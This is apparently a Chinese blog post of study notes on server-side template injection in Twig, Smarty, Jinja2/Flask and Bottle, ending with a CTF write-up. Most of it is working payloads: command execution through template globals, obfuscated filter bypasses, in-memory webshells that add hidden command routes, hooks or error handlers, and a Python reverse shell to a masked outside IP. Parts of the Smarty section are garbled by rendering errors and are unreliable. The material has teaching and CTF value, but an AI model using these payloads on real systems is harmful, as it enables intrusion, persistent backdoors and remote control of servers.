SSTI记录

SSTI(Server-Side Template Injection,服务器段模板注入)

当前使用的一些框架,如python的flask、php的tp、java的spring,都采用成熟的MVC模式,用户的输入会先进入到Controller控制器,然后根据请求的类型和请求的指令发给对应的业务模型进行业务逻辑判断、数据库存储、再把结果返回给view视图层,经过模板渲染展示给用户。

漏洞成因就是服务器段接收用户恶意输入未经任何处理就将其视为web应用模板的一部分,在渲染的过程,执行了用户插入的恶意语句。

分类

PHP中的SSTI

twig、smarty、blade

Twig

简介及测试

Twig是Symfony的模板引擎。Twig使用一个加载器loader(Twig_Loader_Array)来定位模板,以及一个环境变量来environment(Twig_Environment)来存储配置信息。

其中,render()方法通过第一个参数载入模板,第二个参数中的变量来渲染模板。

//渲染内容用户不可控
<?php // 加载 Composer 的自动加载文件 require_once dirname(FILE) . '\vendor\autoload.php'; // 创建 Twig 环境,使用 ArrayLoader 定义模板 loader = new \\Twig\\Loader\\ArrayLoader(\['index' =\> 'Hello {{name}}'\]); twig = new \Twig\Environment(loader); // 渲染模板,将用户输入的 name 参数传入,设置默认值防止未定义错误 output = twig-\>render('index', array("name" =\> _GET"name" ?? '')); echo $output; ?>

//渲染内容用户可控
<?php require_once dirname(FILE) . '\vendor\autoload.php'; loader = new \\Twig\\Loader\\ArrayLoader(); twig = new \Twig\Environment(loader); template = _GET\['template'\] ?? 'Hello {{name}}'; // 用户输入模板 loader->setTemplate('test', template); echo twig->render('test', 'name' =\> $_GET\['name' ?? '']); ?>

当渲染内容用户可控时,可以进行xss和模板注入

判断方式

由于{#comment#}作为Twig模板引擎的默认注释形式,在前端输出的时候不会显示,因此可以利用这个来判断是否使用了Twig模板引擎

可以使用下面这个语句进行测试:Mic{# comment #}{{28}}OK,
这里要经过url编码成:Misc%7b%23comment%23%7d%7b%7b1
2%7d%7dx%7b%7b2*3%7d%7d

smarty

简介及测试

最流行的php模板之一,为不受信任的模板执行提供了安全模式。这个会强制执行在php安全函数白名单中的函数,因此无法直接调用php中直接执行命令的函数(相当于一个disable_function)

但是 s m a r t y 内置变量可以用于访问各种环境变量,例如使用 s e l f 得到 s m a r t y 这个类然后去找 s m a r t y 中可以使用的方法。例如: p u b l i c f u n c t i o n g e t S t r e a m V a r i a b l e ( smarty内置变量可以用于访问各种环境变量,例如使用self得到smarty这个类然后去找smarty中可以使用的方法。 例如: public function getStreamVariable( smarty内置变量可以用于访问各种环境变量,例如使用self得到smarty这个类然后去找smarty中可以使用的方法。例如:publicfunctiongetStreamVariable(variable)

{

$_result = '';
f p = f o p e n ( fp = fopen( fp=fopen(variable, 'r+');

if (KaTeX parse error: Expected '}', got 'EOF' at end of input: ... while (!feof(fp) && ( c u r r e n t l i n e = f g e t s ( current_line = fgets( currentline=fgets(fp)) !== false) {

$_result .= KaTeX parse error: Expected 'EOF', got '}' at position 27: ...e; }̲ fc...fp);

return $_result;

}
s m a r t y = i s s e t ( smarty = isset( smarty=isset(this->smarty) ? $this->smarty : t h i s ; i f ( this; if ( this;if(smarty->error_unassigned) {

throw new SmartyException('Undefined stream variable "' . KaTeX parse error: Expected 'EOF', got '}' at position 26: ... '"'); }̲ else { ...smarty.version}

#{php}{/php}代码执行

{php}phpinfo();{/php}

#借助{literal}标签,因为{literal}可以让一个模板区域的字符原样输出(只适合php5)

#利用getsrteamvariable获取传入变量的流(适合旧版本的Smarty)

{self::getStreamVariable("file:///etc/passwd")}

#{if}{/if}代码执行

{if phpinfo()}{/if} {if system('id')}{/if}

python中的SSTI

Jinja2(flask的一部分)、tornado、Django、

Jinja2

jinja2以Django模板那为模型,是Flask框架的一部分。jinja2会把模板参数提供的相应的值替换成{{...}}块(一种特殊的占位符),告诉模板引擎这个位置的值从模板渲染时使用的数据。

jinja2能识别所有类型的变量,甚至一些复杂类型(列表、字典、对象)

JAVA中的SSTI

velocity、FreeMarker

绕过

长度限制

较短payload(48、47)

利用flask内置全局函数

{{url_for.globals.os.popen('whoami').read()}}

{{lipsum.globals .os.popen('whoami').read()}}

利用config变量更新(34字符以内)

config对象实质上是一个字典的子类,因此更新字典使用update()方法,可以不用set()

如果是使用flask,可以利用里面的config对象,通过多步变量更新,绕过lipsum.globals

这个长度最长为34个字符

{{config.update(c=config.update)}}

● config.update()方法用于更新config里面的键值对,整个就是给config复制update方法本身,用于动态创建变量

{{config.update(g="globals ")}}

● 将config"g"赋值为__globals__

{{config.c(f=lipsumconfig.g)}}

● lipsumconfig.g等价于lipsum"**globals** "

● config.c让config.f=lipsum.globals ,存储全局变量

{{config.c(o=config.f.os)}}

● 将config.o赋值为lipsum.globals .os,即os模块

{{config.c(p=config.o.popen)}}

● 将config.p赋值为lipsum.globals .os.popen

{{config.p("cat /f*").read()}}

进行命令执行。

命令总结

{{config.update(c=config.update)}}

{{config.update(g="globals ")}}

{{config.c(f=lipsumconfig.g)}}

{{config.c(o=config.f.os)}}

{{config.c(p=config.o.popen)}}

{{config.p("cat /f*").read()}}

flask内存🐎

基础及测试

Flask框架在web应用模板渲染的过程中,利用render_template_string进行渲染,但是未对用户传输的代码进行过滤导致用户可以通过注入恶意代码注入内存马

本地测试demo

from flask import Flask, request, render_template_string

app = Flask(name)

@app.route('/')

def hello_world(): # put application's code here

person = 'knave'

if request.args.get('name'):

person = request.args.get('name')

template = '

Hi, %s.

' % person
return render_template_string(template)

if name == 'main ':

app.run()

原始Payload: 然后在shell目录通过对cmd传参进行rce

url_for.globals '**builtins** ''eval'("app.add_url_rule('/shell', 'shell', lambda :import ('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.globals '_request_ctx_stack','app':url_for.globals 'current_app'})

逐层分析:

url_for.globals '**builtins** ''eval'(

"app.add_url_rule(

'/shell',

'shell',

lambda :import ('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()

)",

{

'_request_ctx_stack':url_for.globals '_request_ctx_stack',

'app':url_for.globals 'current_app'

}

)

url_for是Flask的内置属性
globals__是python中函数对象的一个熟悉,表示函数定义所在的全局命名空间。该属性是一个字典,包含了函数定义时可见的全局变量和函数。能返回函数所在模块命名空间的所有变量
传入{{url_for.globals}}可以看到这里支持__builtins

在__builtins__模块中, Python在启动时就直接为我们导入了很多内建函数,如:eval exec等

由于存在危险函数,可以直接调用命令来执行操作 (windows弹计算器要用calc命令)

也是成功弹计算器了

{{url_for.globals '**builtins** ''eval'("import ('os').system('open -a Calculator')")}}

"app.add_url_rule(

'/shell',

'shell',

lambda :import ('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()

)"

这一部分payload的作用是动态添加一条路由,其调用了add_url_rule函数来添加路由,处理该路由的函数是由lamba关键字定义的匿名函数

查看add_url_rule函数

rule: 函数对应的URL规则,必须以 / 开头

lamba匿名函数通过os库中的popen函数执行web请求中获取的cmd参数值并返回结果,参数值默认为whoami

{

'_request_ctx_stack':url_for.globals '_request_ctx_stack',

'app':url_for.globals 'current_app'

}

这一段中_request_ctx_stack是Flask的一个全局变量,是一个LocalStack实例

Bypass绕过

url_for可替换成get_flashed_messages或request.__init__或request.application

eval可换成exec

关键字过滤可采用拼接: 如'**builtins** ''eval'变为'**bui'+'ltins** ''ev'+'al'

\[\]可用.getitem ()或.pop()替换.

过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.

过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)00或者request'args'或者request'values'绕过.

过滤了.可以采用attr()或\[\]绕过

变形payload

request.application.self ._get_data_for_json.getattribute ('globa'+'ls ').getitem ('bui'+'ltins ').getitem ('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :import ('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.getattribute ('globa'+'ls ').pop('request '+'ctx_stack'),'app':get_flashed_messages.getattribute ('globa'+'ls ').pop('curre'+'nt_app')})

get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("builtins ")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :imp"+"ort('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

bottle内存🐎

基础及测试

demo

from bottle import template, Bottle,request,error

app = Bottle()

@error(404)

@app.route('/shell')

def index():

result = eval(request.params.get('cmd'))

return template('Hello {{result}}, how are you?',result)

@app.route('/')

def index():

return 'Hello world'

if name == 'main ':

app.run(host='0.0.0.0', port=8888,debug=True)

首先在装饰器里面直接调用一个rout函数,可以看一下函数内容:

def route(self,path=None,method='GET',callback=None,name=None,apply=None,skip=None, **config):

if callable(path): path, callback = None, path

plugins = makelist(apply)

skiplist = makelist(skip)

def decorator(callback):

if isinstance(callback, basestring): callback = load(callback)

for rule in makelist(path) or yieldroutes(callback):

for verb in makelist(method):

verb = verb.upper()

route = Route(self, rule, verb, callback,

name=name,

plugins=plugins,

skiplist=skiplist, **config)

self.add_route(route)

return callback

return decorator(callback) if callback else decorator

首先进行了一个判断,如果path是一个可调用的对象(例如一个函数),就交换path和callback的角色,将原本path的值赋给callback,并将path设置为None。下面的就是装饰器,专门用来接收callback参数,然后都是生成路由的规则。

最后进入add_route函数。

def add_route(self, route):

""" Add a route object, but do not change the :data:Route.app

attribute."""

self.routes.append(route)

self.router.add(route.rule, route.method, route, name=route.name)

if DEBUG: route.prepare()

那么该如何利用callback函数呢,我们知道路由可以传入一个callback作为回调参数或是处理请求函数,在路由本身解析的过程中,它的本意是与用户自定义的一个函数进行绑定,那么如何通过不写一个完整的def情况下自定义一个函数呢?这里就用到了pyth自带的lambda表达式。

lambda表达式语法:

甚至还可以省略arguments函数,例如:lambda: print(666)

lambda arguments: expression

例如:执行下面这段poc

127.0.0.1:8888/shell?cmd=app.route("/a","GET",lambda :print(666))

然后访问/a路由,虽然发现是空白,但是在服务器端,成功执行了代码:

漏洞利用

思路(1)直接绑定路由

手动引入os执行命令

http://127.0.0.1:8888/shell?cmd=app.route("/c","GET",lambda :import ("os").popen('whoami').read())

接着访问/c路由,成功执行命令,并且有回显:

或者使用

http://127.0.0.1:8888/shell?cmd=app.route("/c","GET",lambda :import ('os').popen(request.params.get('a')).read())

然后在/c路由下通过a参数进行命令执行也可以

思路(2)利用错误页面

有时候框架会自己定义报错页面,例如404、500等页面会有对应的输出,在bottle框架中会让我们自定义错误响应。

例如:

可以直接自定义一个新的404错误处理函数e,在页面报错404的时候进行命令执行。

http://127.0.0.1:8888/shell?cmd=app.error(404)(lambda e: import ('os').popen(request.query.get('a')).read())

接着随便访问一个不存在的目录,然后利用参数a进行命令执行即可

思路(3)利用hook

hook相当于一个钩子,当程序执行的时候,hook挂在哪里就会执行哪里。

例如下面这些事件就会触发钩子。

例如这个增加钩子的函数,可以选择在执行钩子集合(上面那些)前面加钩子(insert(0,func)),也可以选择在后面加钩子(append(func))

这里以before_request为例(其他几个效果一样):

http://127.0.0.1:8888/shell?cmd=app.add_hook("before_request",lambda : print(4))

但是由于第一次访问只是注册了一个钩子,不会立即执行,第二次新的请求进来才会触发钩子,即这里执行第二个命令的时候才会执行前一个命令。(在服务器端回显)

但是这里还需要直接看到回显,这里利用的是响应头,想要控制响应头一定要关注response这个操作对象。

可以翻到这个类

再继续往下翻可以看到一个设置响应头的方法

有了这个可以设置键值对了,现在关键点是如何调用response对象

我们在使用bottle框架的时候内置的response对象,我们在import之后可以直接调用,也可以使用__imort__引入__import__('bottle').response即可。

poc:

app.add_hook('before_request', lambda: import ('bottle').response.set_header( 'X-flag', import ('base64').b64encode( import ('os').popen(request.query.get('a', 'echo No command provided')).read().encode('utf-8') ).decode('utf-8') ))

然后在跟页面利用参数a执行命令,回显会在响应头中进行base64加密

还有一种利用bootle框架内的内置函数abort,不仅可以触发一个异常,而且第二个参数是我们可以控制在回显页面上的。

poc:

app.add_hook('before_request', lambda: import ('bottle').abort(666,import ('os').popen(request.query.get('a')).read()))

这里abort随便接一个不常见的端口号即可,然后以这个端口号为目录进行访问(随便访问一个目录好像也可以),利用a传参进行命令执行

题目练习

GHCTF Message in a Bottle

Bottle也是python的一个渲染框架。

from bottle import Bottle, request, template, run

app = Bottle()

存储留言的列表

messages = \[\]

def handle_message(message):

message_items = "".join([f"""

{msg}

#{idx + 1} - 刚刚

""" for idx, msg in enumerate(message)])

复制代码
board = f"""留言板内容......"""
return board

def waf(message):

return message.replace("{", "").replace("}", "")

@app.route('/')

def index():

return template(handle_message(messages))

@app.route('/Clean')

def Clean():

global messages

messages = \[\]

return ''

@app.route('/submit', method='POST')

def submit():

message = waf(request.forms.get('message'))

messages.append(message)

return template(handle_message(messages))

if name == 'main ':

run(app, host='localhost', port=9000)

看源码可以看到过滤了{和}

但是在官方文档中看到,可以使用%来嵌入一行代码,例如:

% result=5*5

可以使用<%和%>来嵌入代码块,例如:

<%

test

%>

方法一:

% (import ('os').popen('tac /flag >456.txt').read())

执行没有回显,反弹shell没成功,使用include包含

% include('456.txt')

方法二:

% import ('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("111.xxx.xxx.xxx",7777));os.dup2(s.fileno(),f)for f in(0,1,2);pty.spawn("sh")'").read()

方法三:

% from bottle import Bottle, request

% app=import ('sys').modules'**main** '.dict 'app'

% app.route("/shell","GET",lambda :import('os').popen(request.params.get('lalala')).read())

相关推荐
江华森12 分钟前
Spring Cloud 微服务全栈实战:从 Eureka 到 Docker Compose 一文贯通
运维
江华森12 分钟前
Matplotlib 数据绘图基础入门
运维
江华森14 分钟前
NumPy 数值计算基础入门
运维
用户30745969820716 小时前
Redis 延时队列详解
redis
烤代码的吐司君18 小时前
Redis 数据结构 ZSet, BIT, HyperLogLog,Geo 空间数据
redis·后端
leeyi3 天前
Checkpoint 机制:Agent 怎么在断电后接着跑
redis·aigc·agent
云技纵横4 天前
一个 @Async 让循环依赖暴雷:Spring 代理的暗坑
redis
乘云数字DATABUFF4 天前
5分钟部署开源APM Databuff:OpenTelemetry全链路追踪入门实战
运维·后端
犯困蛋挞yy5 天前
用Claude快速解决Redis代码报错反复无解的问题
redis
荣--6 天前
一键部署不是为了省时间 —— 它是把"买来的 PaaS"变成"自己的平台"的拐点
运维·zabbix·工程化·一键部署·平台化·边界设计